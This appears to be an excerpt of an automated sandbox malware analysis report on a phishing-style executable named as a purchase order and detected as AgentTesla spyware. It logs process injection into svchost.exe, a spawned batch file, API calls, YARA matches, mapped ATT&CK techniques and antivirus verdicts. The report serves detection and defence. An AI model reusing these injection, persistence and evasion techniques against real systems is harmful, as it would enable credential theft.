Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5DA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5DB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5DC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5DD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5DE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5DF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5E90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5EA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5EB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5EC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5ED0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5EE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5EF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5F90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5FA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5FB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5FC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5FD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5FE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5FF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6000000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6010000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6020000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6030000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6040000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6050000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6060000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6070000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6080000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6090000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 60A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 60B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 60C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 60D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 60E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 60F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6100000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6110000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6120000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6130000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6140000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6150000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6160000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6170000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6180000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6190000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 61A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 61B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 61C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 61D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 61E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 61F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6200000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6350000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6360000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6370000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6380000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6390000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 63A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 63B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 63C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 63D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 63E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 63F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6400000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6410000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6420000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6430000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6440000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6450000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6460000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6470000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6480000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6490000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 64A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 64B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6600000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6610000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6620000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6630000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6640000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6650000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6660000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 67B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 67C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 67D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 67E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 67F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6800000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6810000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6820000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6830000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6840000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6850000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6860000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6870000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6880000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6890000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 68A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 68B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 68C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 68D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 68E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 68F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6900000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6910000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6920000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6930000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6940000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6950000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6960000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6970000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6980000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6990000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 69A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 69B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 69C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 69D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6B20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6B30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6B40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6B50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 50480000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6B60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 6B70000

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process created: C:\Users\user\Desktop\New Order PO20011046.exe C:\Users\user\Desktop\New Order PO20011046.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '

Source: New Order PO20011046.exe, 0000000B.00000002.918866865.0000000000CA0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: New Order PO20011046.exe, 0000000B.00000002.918866865.0000000000CA0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: New Order PO20011046.exe, 0000000B.00000002.918866865.0000000000CA0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: New Order PO20011046.exe, 0000000B.00000002.918866865.0000000000CA0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: GetLocaleInfoA,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: GetLocaleInfoA,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: GetLocaleInfoA,GetACP,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: GetLocaleInfoA,
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: GetLocaleInfoA,

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_50488A9C GetLocalTime,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Code function: 11_2_020DBD8A GetUserNameW,

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_50485D8D GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000B.00000003.759372640.0000000000574000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.921398684.0000000004B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.920852349.00000000038E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.919758080.0000000002251000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.921099669.0000000004A80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New Order PO20011046.exe PID: 1256, type: MEMORY
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4a80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4b40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4b40000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4a80000.1.unpack, type: UNPACKEDPE

Source: Yara match	File source: 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New Order PO20011046.exe PID: 1256, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000B.00000003.759372640.0000000000574000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.921398684.0000000004B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.920852349.00000000038E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.919758080.0000000002251000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.921099669.0000000004A80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New Order PO20011046.exe PID: 1256, type: MEMORY
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4a80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4b40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4b40000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.New Order PO20011046.exe.4a80000.1.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00401980 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,CorBindToRuntimeEx,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,InterlockedDecrement,InterlockedDecrement,SysFreeString,VariantClear,InterlockedDecrement,SysFreeString,
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00401EB6 _memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,CorBindToRuntimeEx,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,InterlockedDecrement,InterlockedDecrement,SysFreeString,VariantClear,InterlockedDecrement,SysFreeString,

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Disable or Modify Tools11	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting1	Boot or Logon Initialization Scripts	Process Injection412	Deobfuscate/Decode Files or Information1	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API11	Logon Script (Windows)	Registry Run Keys / Startup Folder1	Scripting1	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information3	NTDS	System Information Discovery126	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing2	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading11	Cached Domain Credentials	Security Software Discovery251	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion14	DCSync	Virtualization/Sandbox Evasion14	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Access Token Manipulation1	Proc Filesystem	Process Discovery3	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection412	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
New Order PO20011046.exe	33%	Virustotal		Browse
New Order PO20011046.exe	69%	ReversingLabs	Win32.Spyware.Woreflint
New Order PO20011046.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe	69%	ReversingLabs	Win32.Spyware.Woreflint

Unpacked PE Files

Source	Detection	Scanner	Label	Download
5.2.svchost.exe.50480000.2.unpack	100%	Avira	HEUR/AGEN.1108767	Download File
18.2.Evvudrv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1108767	Download File
18.2.Evvudrv.exe.2f60000.3.unpack	100%	Avira	HEUR/AGEN.1108768	Download File

Domains

Source	Detection	Scanner	Label	Link
discord.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
